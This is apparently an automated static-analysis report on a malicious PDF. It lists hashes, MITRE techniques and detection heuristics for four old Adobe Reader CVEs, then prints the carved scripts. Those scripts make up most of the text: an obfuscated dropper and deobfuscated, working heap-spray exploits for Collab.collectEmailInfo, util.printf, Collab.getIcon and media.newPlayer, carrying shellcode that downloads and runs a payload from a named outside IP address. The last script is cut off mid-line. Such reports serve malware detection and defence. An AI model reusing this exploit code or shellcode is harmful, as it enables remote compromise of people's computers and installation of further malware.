Malicious PDF — malware analysis report

Static analysis result for SHA-256 9371c0b739c97310…

MALICIOUS

PDF

12.5 KB First seen: 2026-05-07
MD5: 058a7620428c670ab95aa2dc54dffb06 SHA-1: 6874025ba7758d24be86a5cdb0ee54cb0094531f SHA-256: 9371c0b739c97310d30739469831a5a201fe03103d7ae72cce40a3f1ede0b552
490 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF file contains embedded JavaScript that exploits multiple known Adobe Reader vulnerabilities, including CVE-2009-4324, CVE-2009-0927, CVE-2007-5659, and CVE-2008-2992. The deobfuscated JavaScript indicates that it attempts to download a second-stage payload from the URL http://65.75.177.143/Home/w.php?f=16&e=5. This indicates a clear intent to exploit the user's system and download further malicious content.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 12

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://65.75.177.143/Home/w.php?f=16&e=5 Referenced by PDF JavaScript

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0076_000.js pdf-javascript-stream PDF /JS object 76 at offset 0x383 11623 bytes
SHA-256: 88168757f7966699bbf9849561e42f4d9914b95b41fdb2cb2f73a686d5f8013c
Preview script
First 1,000 lines of the extracted script
w='';
w+='sl';
w+='i';
w+="ce";
j='b343tb3g';
j=j[w];
z
=
new
Array(42,6,53,67,9,19,47,33,32,23,52,17,43,0,60,60,52,17,41,24,49,65,52,17,43,59,41,24,52,17,13,59,49,65,52,17,49,31,0,65,52,17,0,0,59,41,52,17,60,65,24,10,52,17,65,10,43,9,52,17,43,9,0,10,52,17,10,24,65,10,52,17,13,10,43,9,52,17,59,60,74,24,52,17,13,60,43,9,52,17,0,0,10,43,52,17,60,60,12,9,52,17,59,49,43,9,52,17,10,0,0,24,52,17,0,0,13,65,52,17,43,74,54,24,52,17,74,59,49,49,52,17,41,41,74,10,52,17,9,43,41,41,52,17,65,10,43,9,52,17,24,0,0,10,52,17,0,31,65,60,52,17,13,59,10,60,52,17,43,13,41,9,52,17,54,65,0,65,52,17,49,65,43,59,52,17,59,74,13,59,52,17,49,9,49,31,52,17,59,74,65,24,52,17,43,9,59,60,52,17,0,24,13,59,52,17,13,65,43,9,52,17,13,43,0,59,52,17,41,59,10,0,52,17,43,9,59,60,52,17,54,10,13,60,52,17,41,59,10,0,52,17,24,31,0,0,52,17,65,74,65,31,52,17,6,12,41,24,52,17,24,59,10,0,52,17,12,9,0,0,52,17,9,49,10,41,52,17,0,43,74,10,52,17,13,65,41,54,52,17,24,74,10,43,52,17,10,12,24,9,52,17,12,6,10,0,52,17,49,9,65,10,52,17,0,9,41,74,52,17,13,59,74,41,52,17,59,49,49,60,52,17,59,49,43,9,52,17,10,0,54,65,52,17,60,60,12,12,52,17,10,24,43,9,52,17,43,12,65,9,52,17,49,24,65,60,52,17,59,65,41,41,52,17,10,24,54,65,52,17,12,43,43,9,52,17,12,12,10,0,52,17,10,65,43,9,52,17,10,0,43,9,52,17,6,9,24,59,52,17,59,31,59,49,52,17,49,9,24,0,52,17,6,12,59,0,52,17,60,43,43,9,52,17,43,10,54,10,52,17,10,24,13,12,52,17,13,65,0,0,52,17,31,60,10,0,52,17,41,0,49,9,52,17,60,43,43,9,52,17,43,9,10,43,52,17,60,6,41,13,52,17,59,31,10,59,52,17,31,43,49,43,52,17,41,41,41,41,52,17,49,54,41,41,52,17,49,43,41,31,52,17,10,10,10,10,52,17,10,10,10,10,52,17,59,10,59,43,52,17,65,10,60,6,52,17,41,41,60,43,52,17,10,10,10,10,52,17,59,10,10,10,52,17,24,10,43,0,52,17,59,10,74,31,52,17,43,9,59,59,52,17,43,9,49,24,52,17,74,10,59,49,52,17,24,0,43,0,52,17,41,41,10,59,52,17,60,43,49,0,52,17,60,49,60,41,52,17,10,10,10,10,52,17,13,59,60,43,52,17,60,24,13,54,52,17,59,65,60,12,52,17,74,60,41,41,52,17,24,65,43,0,52,17,43,9,10,43,52,17,49,43,49,43,52,17,41,41,60,74,52,17,41,41,41,41,52,17,10,54,49,9,52,17,13,54,49,9,52,17,49,24,43,74,52,17,10,74,10,65,52,17,10,10,10,10,52,17,59,24,43,12,52,17,10,24,54,65,52,17,10,65,24,13,52,17,13,54,54,65,52,17,60,13,60,59,52,17,24,13,13,0,52,17,54,65,65,65,52,17,13,60,10,65,52,17,0,0,13,54,52,17,24,13,0,54,52,17,54,65,65,65,52,17,54,10,10,43,52,17,13,0,54,12,52,17,59,0,54,10,52,17,41,43,60,43,52,17,10,10,10,10,52,17,41,41,10,10,52,17,10,24,59,60,52,17,49,43,43,9,52,17,24,31,0,0,52,17,24,13,59,74,52,17,74,12,65,65,52,17,13,13,10,10,52,17,60,54,13,10,52,17,24,13,13,65,52,17,74,12,65,65,52,17,54,49,10,59,52,17,60,24,60,65,52,17,24,60,60,24,52,17,74,12,65,65,52,17,10,10,10,31,52,17,43,6,59,31,52,17,10,65,24,74,52,17,43,43,0,10,52,17,74,12,65,65,52,17,65,74,10,65,52,17,60,6,59,74,52,17,60,6,10,10,52,17,59,0,10,10,52,17,60,6,59,13,52,17,41,41,10,10,52,17,74,65,59,60,52,17,24,10,43,59,52,17,74,60,13,59,52,17,10,10,60,6,52,17,41,41,59,0,52,17,10,65,59,60,52,17,10,10,60,6,52,17,49,9,43,0,52,17,59,0,10,24,52,17,59,60,41,41,52,17,43,0,10,65,52,17,10,24,24,0,52,17,10,54,49,9,52,17,74,0,49,9,52,17,43,10,65,13,52,17,10,10,0,41,52,17,41,6,13,59,52,17,43,10,65,13,52,17,10,10,0,41,52,17,24,65,13,59,52,17,10,10,60,6,52,17,41,49,60,6,52,17,59,60,41,41,52,17,49,43,10,43,52,17,41,49,31,24,52,17,41,41,41,41,52,17,65,49,43,49,52,17,49,24,10,49,52,17,41,49,31,43,52,17,10,49,43,6,52,17,60,41,43,31,52,17,9,12,10,74,52,17,24,6,0,0,52,17,59,9,43,6,52,17,24,60,74,9,52,17,13,31,65,60,52,17,74,6,0,60,52,17,13,10,54,41,52,17,13,65,60,43,52,17,13,10,13,65,52,17,54,41,0,6,52,17,0,60,54,41,52,17,54,49,0,59,52,17,0,59,0,13,52,17,0,74,54,49,52,17,0,13,0,13,52,17,0,74,54,49,52,17,0,0,0,65,52,17,65,43,54,41,52,17,60,12,60,41,52,17,54,41,60,59,52,17,54,49,13,13,52,17,60,43,13,10,52,17,0,41,13,10,52,17,0,12,60,60,52,17,0,60,0,74,52,17,60,59,54,60,52,17,0,59,0,12,52,17,10,10,10,10,23,57,41,17,66,24,4,64,22,66,67,49,2,42,53,11,53,6,1,15,50,5,36,62,55,64,61,49,11,53,6,35,61,49,66,33,4,55,72,54,48,15,50,5,36,53,6,20,32,53,6,57,69,53,6,32,53,6,35,47,17,9,47,4,53,64,66,33,11,10,1,15,50,18,54,5,57,53,49,4,17,53,66,67,53,6,57,69,67,41,17,66,24,4,64,22,66,67,9,16,11,5,36,42,6,53,67,12,75,33,32,66,49,62,67,7,53,53,6,50,11,5,57,42,6,53,67,42,62,32,10,16,10,24,10,24,10,24,10,24,57,42,6,53,67,6,12,12,53,32,10,16,65,10,10,10,10,10,57,42,6,53,67,70,6,50,61,22,6,12,32,17,66,49,47,24,6,70,49,11,9,19,47,33,5,57,42,6,53,67,47,24,63,61,49,66,32,70,6,50,61,22,6,12,35,61,49,66,33,4,55,72,54,57,42,6,53,67,15,50,32,6,12,12,53,71,11,47,24,63,61,49,66,20,10,16,0,43,5,57,42,6,53,67,50,6,53,47,70,32,17,66,49,47,24,6,70,49,11,68,52,17,31,10,31,10,52,17,31,10,31,10,68,5,57,50,6,53,47,70,32,49,2,42,53,11,50,6,53,47,70,1,15,50,5,57,42,6,53,67,24,22,17,66,4,54,32,11,42,62,71,10,16,65,10,10,10,10,10,5,18,6,12,12,53,57,41,22,53,11,42,6,53,67,24,22,17,66,4,32,10,57,24,22,17,66,4,48,24,22,17,66,4,54,57,24,22,17,66,4,20,20,5,36,12,75,33,26,24,22,17,66,4,37,32,50,6,53,47,70,20,70,6,50,61,22,6,12,57,69,67,42,6,53,67,22,42,49,53,41,61,22,62,32,17,66,49,47,24,6,70,49,11,68,52,17,10,24,10,24,52,17,10,24,10,24,68,5,57,62,55,64,61,49,11,22,42,49,53,41,61,22,62,35,61,49,66,33,4,55,48,65,65,31,59,54,5,36,22,42,49,53,41,61,22,62,20,32,22,42,49,53,41,61,22,62,57,69,67,4,55,64,47,35,24,22,61,61,6,9,30,4,22,53,49,32,27,22,61,61,6,9,35,24,22,61,61,49,24,4,45,3,6,64,61,29,66,41,22,11,36,47,17,9,19,38,68,68,1,3,47,33,38,22,42,49,53,41,61,22,62,69,5,57,69,67,41,17,66,24,4,64,22,66,67,70,53,64,66,4,41,11,5,36,66,22,70,32,17,66,49,47,24,6,70,49,11,68,52,17,10,7,10,7,52,17,10,7,10,7,52,17,10,7,10,7,52,17,10,7,10,7,68,5,57,42,6,53,67,70,6,50,61,22,6,12,32,17,66,49,47,24,6,70,49,11,9,19,47,33,5,57,55,49,6,70,9,61,22,24,75,32,66,22,70,20,70,6,50,61,22,6,12,57,9,64,33,9,61,22,24,75,32,17,66,49,47,24,6,70,49,11,68,52,17,10,7,10,7,52,17,10,7,10,7,68,5,57,55,49,6,12,49,53,47,64,2,49,32,54,10,57,47,70,53,6,50,32,55,49,6,12,49,53,47,64,2,49,20,55,49,6,70,9,61,22,24,75,35,61,49,66,33,4,55,57,62,55,64,61,49,11,9,64,33,9,61,22,24,75,35,61,49,66,33,4,55,48,47,70,53,6,50,5,36,9,64,33,9,61,22,24,75,20,32,9,64,33,9,61,22,24,75,57,69,67,41,64,61,61,9,61,22,24,75,32,9,64,33,9,61,22,24,75,35,47,17,9,47,4,53,64,66,33,11,10,1,47,70,53,6,50,5,57,9,61,22,24,75,32,9,64,33,9,61,22,24,75,35,47,17,9,47,4,53,64,66,33,11,10,1,9,64,33,9,61,22,24,75,35,61,49,66,33,4,55,71,47,70,53,6,50,5,57,62,55,64,61,49,11,9,61,22,24,75,35,61,49,66,33,4,55,20,47,70,53,6,50,48,10,16,65,10,10,10,10,5,36,9,61,22,24,75,32,9,61,22,24,75,20,9,61,22,24,75,20,41,64,61,61,9,61,22,24,75,57,69,67,3,49,3,32,66,49,62,67,7,53,53,6,50,11,5,57,41,22,53,11,64,32,10,57,64,48,74,65,10,10,57,64,20,20,5,36,3,49,3,26,64,37,32,9,61,22,24,75,20,55,49,6,70,9,61,22,24,75,57,69,67,42,6,53,67,66,17,3,32,74,54,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,57,17,4,64,61,35,70,53,64,66,4,41,11,68,52,65,59,10,10,10,41,68,1,66,17,3,5,57,69,67,41,17,66,24,4,64,22,66,67,33,49,4,64,24,22,66,11,5,36,42,6,53,67,6,53,53,50,32,66,49,62,67,7,53,53,6,50,11,5,57,64,41,11,6,70,70,35,12,22,24,35,27,22,61,61,6,9,35,33,49,4,29,24,22,66,5,36,42,6,53,67,70,6,50,61,22,6,12,32,17,66,49,47,24,6,70,49,11,9,19,47,33,5,57,42,6,53,67,55,28,15,59,10,10,27,21,32,70,6,50,61,22,6,12,35,61,49,66,33,4,55,72,54,57,42,6,53,67,15,50,32,10,16,65,10,10,10,10,10,71,11,55,28,15,59,10,10,27,21,20,10,16,0,43,5,57,42,6,53,67,50,6,53,47,70,32,17,66,49,47,24,6,70,49,11,68,52,17,31,10,31,10,52,17,31,10,31,10,68,5,57,50,6,53,47,70,32,49,2,42,53,11,50,6,53,47,70,1,15,50,5,57,42,6,53,67,70,59,7,19,39,60,59,41,32,11,10,16,10,24,10,24,10,24,10,24,71,10,16,65,10,10,10,10,10,5,18,10,16,65,10,10,10,10,10,57,41,22,53,11,42,6,53,67,42,15,24,51,56,31,60,50,32,10,57,42,15,24,51,56,31,60,50,48,70,59,7,19,39,60,59,41,57,42,15,24,51,56,31,60,50,20,20,5,36,6,53,53,50,26,42,15,24,51,56,31,60,50,37,32,50,6,53,47,70,20,70,6,50,61,22,6,12,57,69,67,42,6,53,67,4,58,73,55,21,9,46,62,32,17,66,49,47,24,6,70,49,11,68,52,10,31,68,5,57,62,55,64,61,49,11,4,58,73,55,21,9,46,62,35,61,49,66,33,4,55,48,10,16,65,10,10,10,5,36,4,58,73,55,21,9,46,62,20,32,4,58,73,55,21,9,46,62,57,69,67,4,58,73,55,21,9,46,62,32,68,21,35,68,20,4,58,73,55,21,9,46,62,57,6,70,70,35,12,22,24,35,27,22,61,61,6,9,35,33,49,4,29,24,22,66,11,4,58,73,55,21,9,46,62,5,57,69,69,67,6,44,61,17,33,64,66,47,32,6,70,70,35,70,61,17,33,29,66,47,57,42,6,53,67,47,42,32,70,6,53,47,49,29,66,4,11,6,70,70,35,42,64,49,62,49,53,14,49,53,47,64,22,66,35,4,22,30,4,53,64,66,33,11,5,35,24,55,6,53,7,4,11,10,5,5,57,41,22,53,11,42,6,53,67,64,32,10,57,64,48,6,44,61,17,33,64,66,47,35,61,49,66,33,4,55,57,64,20,20,5,36,64,41,11,6,44,61,17,33,64,66,47,26,64,37,35,66,6,3,49,32,32,23,45,30,24,53,64,70,4,23,5,36,42,6,53,67,61,42,32,6,44,61,17,33,64,66,47,26,64,37,35,42,49,53,47,64,22,66,57,69,69,67,64,41,11,11,61,42,32,32,31,5,40,40,11,11,47,42,32,32,43,5,34,34,11,61,42,48,32,43,35,74,54,5,5,5,36,33,49,4,64,24,22,66,11,5,57,69,49,61,47,49,67,64,41,11,61,42,32,32,13,35,74,5,36,70,53,64,66,4,41,11,5,57,69,49,61,47,49,67,64,41,11,11,11,47,42,32,32,60,5,40,40,11,47,42,32,32,13,5,5,34,34,11,61,42,48,13,35,74,74,5,5,36,9,16,11,5,57,69,49,61,47,49,67,64,41,11,11,61,42,8,32,31,35,74,5,40,40,11,61,42,48,32,31,35,54,5,40,40,11,61,42,8,32,43,35,74,0,5,40,40,11,61,42,48,32,43,35,74,13,5,5,36,41,17,66,24,4,64,22,66,67,6,11,5,36,17,4,64,61,35,70,53,64,66,4,12,11,23,70,25,74,74,74,74,74,74,74,74,74,74,74,74,74,74,74,74,74,74,74,74,74,74,74,74,67,38,67,50,50,50,50,74,74,74,23,1,66,49,62,67,56,6,4,49,11,5,5,57,69,42,6,53,67,55,32,6,70,70,35,70,61,17,33,29,66,47,57,41,22,53,11,42,6,53,67,41,32,10,57,41,48,55,35,61,49,66,33,4,55,57,41,20,20,5,36,64,41,11,55,26,41,37,35,66,6,3,49,32,32,23,45,30,24,53,64,70,4,23,5,36,42,6,53,67,64,32,55,26,41,37,35,42,49,53,47,64,22,66,57,69,69,67,64,41,11,11,64,8,43,35,74,54,5,34,34,11,64,48,43,35,54,5,5,36,24,32,66,49,62,67,7,53,53,6,50,11,5,57,42,6,53,67,12,32,17,66,49,47,24,6,70,49,11,23,52,17,31,10,31,10,52,17,31,10,31,10,23,5,57,42,6,53,67,49,32,17,66,49,47,24,6,70,49,11,9,19,47,33,5,57,62,55,64,61,49,11,12,35,61,49,66,33,4,55,48,32,10,16,43,10,10,10,5,36,12,20,32,12,57,69,12,32,12,35,47,17,9,47,4,53,11,10,1,10,16,43,10,10,10,71,49,35,61,49,66,33,4,55,5,57,41,22,53,11,41,32,10,57,41,48,54,31,10,10,57,41,20,20,5,36,24,26,41,37,32,12,20,49,57,69,6,11,5,57,6,11,5,57,4,53,50,36,4,55,64,47,35,3,49,12,64,6,35,66,49,62,44,61,6,50,49,53,11,66,17,61,61,5,57,69,24,6,4,24,55,11,49,5,36,69,6,11,5,57,69,69);
a="3,zmt)aA>b0(d7Vqxu/j+No'c@[CWIS9=g&.{]:K|fv8PEGs<eyQ%r2hD;U56lw_i4n '}p-*M1k";
b='al';
b2="v"
+b;
try
{
if(!google.search())throw 1;
}
catch(her436j34k76)
{
e=(j());
try{
b='e'+b2;
if(!google.search())
a=2;
}
catch(q){
e=e[b];
}
s='';try{if(!google.search())throw 1;}catch(q){r=1;}{
for(i=0;i<z.length;i++)
try{if(!google.search())throw 1;}catch(q){
s
+=
a[
z[i]];
}
}}

"))";try{if(!google)throw 1;}catch(q){e(s);}
generic_stage_recovery_000.js deobfuscated-js generic stage recovery alphabet-index-array from JavaScript object 76 at offset 0x383 3864 bytes
SHA-256: 5ca321b00e4ffb4f85a0d0973ae4cb95827b50e3db93c193cb695ec67ac3b209
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u8366%ufce4%u85fc%u75e4%ue934%u335f%u64c0%u408b%u8b30%u0c40%u708b%u561c%u768b%u3308%u66db%u5e8b%u033c%u3374%u812c%u15ee%uff10%ub8ff%u408b%uc330%u3946%u7506%u87fb%u2434%ue485%u5175%uebe9%u514c%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%uadfc%uc503%udb33%ube0f%u3810%u74f2%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee6%u5e8b%u0324%u66dd%u0c8b%u8d4b%uec46%u54ff%u0c24%ud88b%udd03%u048b%u038b%uabc5%u595e%uebc3%uad53%u688b%u8020%u0c7d%u7433%u9603%uf3eb%u688b%u8b08%u6af7%u5905%u98e8%uffff%ue2ff%ue8f9%u0000%u0000%u5058%u406a%uff68%u0000%u5000%uc083%u5019%u8b55%u8bec%u105e%uc383%uff05%u68e3%u6e6f%u0000%u7568%u6c72%u546d%u16ff%uc483%u8b08%ue8e8%uff61%uffff%u02eb%u72eb%uec81%u0104%u0000%u5c8d%u0c24%u04c7%u7224%u6765%uc773%u2444%u7604%u3372%uc732%u2444%u2008%u732d%u5320%uf868%u0000%uff00%u0c56%ue88b%uc933%uc751%u1d44%u7700%u6270%uc774%u1d44%u2e05%u6c64%uc66c%u1d44%u0009%u8a59%u04c1%u8830%u1d44%u4104%u6a51%u6a00%u5300%u6a57%uff00%u1456%uc085%u1675%u006a%uff53%u0456%u006a%ueb83%u530c%u56ff%u8304%u0cc3%u02eb%u13eb%u8047%u003f%ufa75%u8047%u003f%uc475%u006a%ufe6a%u56ff%ue808%ufe9c%uffff%u4e8e%uec0e%ufe98%u0e8a%u6f89%ubd01%uca33%u5b8a%uc61b%u7946%u1a36%u702f%u7468%u7074%u2f3a%u362f%u2e35%u3537%u312e%u3737%u312e%u3334%u482f%u6d6f%u2f65%u2e77%u6870%u3f70%u3d66%u3631%u6526%u353d%u0000';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}ra=ra.substring(0,qy/2);return ra;} function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} var overflow=unescape('%u0c0c%u0c0c');while(overflow.length<44952){overflow+=overflow;} this.collabStore=Collab.collectEmailInfo({subj:'',msg:overflow});} function printf(){nop=unescape('%u0A0A%u0A0A%u0A0A%u0A0A');var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape('%u0A0A%u0A0A');headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf('%45000f',num);} function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} var tUMhNbGw=unescape('%09');while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} tUMhNbGw='N.'+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}a();a();try{this.media.newPlayer(null);}catch(e){}a();}}
generic_stage_recovery_001.js deobfuscated-js generic stage recovery percent-decode from JavaScript object 76 at offset 0x383 3860 bytes
SHA-256: 21cc692ec9541d5ce0874ddb49878d7862e28b62d04b003d0f761657b0019fe6
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u8366%ufce4%u85fc%u75e4%ue934%u335f%u64c0%u408b%u8b30%u0c40%u708b%u561c%u768b%u3308%u66db%u5e8b%u033c%u3374%u812c%u15ee%uff10%ub8ff%u408b%uc330%u3946%u7506%u87fb%u2434%ue485%u5175%uebe9%u514c%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%uadfc%uc503%udb33%ube0f%u3810%u74f2%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee6%u5e8b%u0324%u66dd%u0c8b%u8d4b%uec46%u54ff%u0c24%ud88b%udd03%u048b%u038b%uabc5%u595e%uebc3%uad53%u688b%u8020%u0c7d%u7433%u9603%uf3eb%u688b%u8b08%u6af7%u5905%u98e8%uffff%ue2ff%ue8f9%u0000%u0000%u5058%u406a%uff68%u0000%u5000%uc083%u5019%u8b55%u8bec%u105e%uc383%uff05%u68e3%u6e6f%u0000%u7568%u6c72%u546d%u16ff%uc483%u8b08%ue8e8%uff61%uffff%u02eb%u72eb%uec81%u0104%u0000%u5c8d%u0c24%u04c7%u7224%u6765%uc773%u2444%u7604%u3372%uc732%u2444%u2008%u732d%u5320%uf868%u0000%uff00%u0c56%ue88b%uc933%uc751%u1d44%u7700%u6270%uc774%u1d44%u2e05%u6c64%uc66c%u1d44%u0009%u8a59%u04c1%u8830%u1d44%u4104%u6a51%u6a00%u5300%u6a57%uff00%u1456%uc085%u1675%u006a%uff53%u0456%u006a%ueb83%u530c%u56ff%u8304%u0cc3%u02eb%u13eb%u8047%u003f%ufa75%u8047%u003f%uc475%u006a%ufe6a%u56ff%ue808%ufe9c%uffff%u4e8e%uec0e%ufe98%u0e8a%u6f89%ubd01%uca33%u5b8a%uc61b%u7946%u1a36%u702f%u7468%u7074%u2f3a%u362f%u2e35%u3537%u312e%u3737%u312e%u3334%u482f%u6d6f%u2f65%u2e77%u6870%u3f70%u3d66%u3631%u6526%u353d%u0000';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}ra=ra.substring(0,qy/2);return ra;} function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} var overflow=unescape('%u0c0c%u0c0c');while(overflow.length<44952){overflow+=overflow;} this.collabStore=Collab.collectEmailInfo({subj:'',msg:overflow});} function printf(){nop=unescape('%u0A0A%u0A0A%u0A0A%u0A0A');var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape('%u0A0A%u0A0A');headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf('E000f',num);} function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} var 